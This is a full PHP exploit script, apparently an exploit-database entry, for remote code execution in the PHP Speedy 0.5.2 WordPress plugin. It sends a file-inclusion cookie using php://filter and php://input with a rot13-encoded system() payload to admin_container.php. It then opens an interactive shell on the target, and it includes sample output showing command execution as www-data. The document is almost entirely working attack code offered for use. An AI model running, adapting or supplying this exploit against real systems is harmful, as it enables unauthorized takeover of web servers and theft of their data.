WordPress Plugin PHP Speedy 0.5.2 – ‘admin_container.php’ Remote Code Execution
<?php /* php speedy <= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit vendor: http://aciddrop.com/ ------------------------------- May the stars be aligned! php.ini requirements: register_globals=On allow_url_include=On magic_quotes_gpc=Off ------------------------------ [mr_me@pluto php_speedy]$ php PoC.php -t 10.3.100.3:80 -d /webapps/wp/ -p 127.0.0.1:8080 ----------------------------------------------------------------------------------- php speedy <= 0.5.3 wordpress plugin (admin_container.php) Remote Code Exec Exploit by mr_me - https://net-ninja.net/ ----------------------------------------------------------------------------------- (+) Setting the proxy to 127.0.0.1:8080 mr_me@10.3.100.3# id uid=33(www-data) gid=33(www-data) groups=33(www-data) mr_me@10.3.100.3# uname -a Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux mr_me@10.3.100.3# q */ print_r(" ----------------------------------------------------------------------------------- php speedy <= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit by mr_me - https://net-ninja.net/ ----------------------------------------------------------------------------------- "); if ($argc < 3) { print_r(" ----------------------------------------------------------------------------- Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS host: target server (ip/hostname) path: directory path to wordpress Options: -p[ip:port]: specify a proxy Example: php ".$argv[0]." -t 192.168.1.5 -d /wp/ -p 127.0.0.1:8080 php ".$argv[0]." -t 192.168.1.5 -d /wp/ ----------------------------------------------------------------------------- "); die; } error_reporting(7); ini_set("max_execution_time", 0); ini_set("default_socket_timeout", 5); $proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)"; function setArgs($argv){ $_ARG = array(); foreach ($argv as $arg){ if (ereg("--([^=]+)=(.*)", $arg, $reg)){ $_ARG[$reg[1]] = $reg[2]; }elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){ $_ARG[$reg[1]] = "true"; }else { $_ARG["input"][] = $arg; } } return $_ARG; } $myArgs = setArgs($argv); $host = $myArgs["input"]["1"]; $path = $myArgs["input"]["2"]; if (strpos($host, ":") == true){ $hostAndPort = explode(":",$myArgs["input"][1]); $host = $hostAndPort[0]; $port = (int)$hostAndPort[1]; }else{ $port = 80; } if(strcmp($myArgs["p"],"true") === 0){ $proxyAndPort = explode(":",$myArgs["input"][3]); $proxy = $proxyAndPort[0]; $pport = $proxyAndPort[1]; echo "(+) Setting the proxy to ".$proxy.":".$pport."\r\n"; }else{ echo "(-) Warning, a proxy was not set\r\n"; } // rgods sendpacketii() function function sendpacket($packet){ global $myArgs, $proxy, $host, $pport, $port, $html, $proxy_regex; if (strcmp($myArgs["p"],"true") != 0) { $ock = fsockopen(gethostbyname($host),$port); if (!$ock) { echo "(-) No response from ".$host.":".$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo "(-) Not a valid proxy...\n"; die; } $ock=fsockopen($proxy,$pport); if (!$ock) { echo "(-) No response from proxy..."; die; } } fputs($ock,$packet); if ($proxy == "") { $html = ""; while (!feof($ock)) { $html .= fgets($ock); } }else { $html = ""; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) { $html .= fread($ock,1); } } fclose($ock); } if (strcmp($myArgs["p"], "true") != 0) {$p = $path;} else {$p = "http://".$host.":".$port.$path;} function read(){ $fp1 = fopen("/dev/stdin", "r"); $input = fgets($fp1, 255); fclose($fp1); return $input; } while ($cmd != "q"){ echo "\n".get_current_user()."@".$host."# "; $cmd = trim(read()); // maybe use base64 for better filter evasion $data = str_rot13("<?php eval(system(\"".$cmd."\")); ?>"); $packet = "POST ".$p."wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Cookie: page=php://filter/read=string.rot13/resource=php://input%00\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $packet .= $data; if ($cmd != "q"){ sendpacket($packet); $temp = explode("Parse error",$html); $______finalresponse = explode("/></a>", $temp[0]); echo trim($______finalresponse[1])."\r\n"; } } ?> |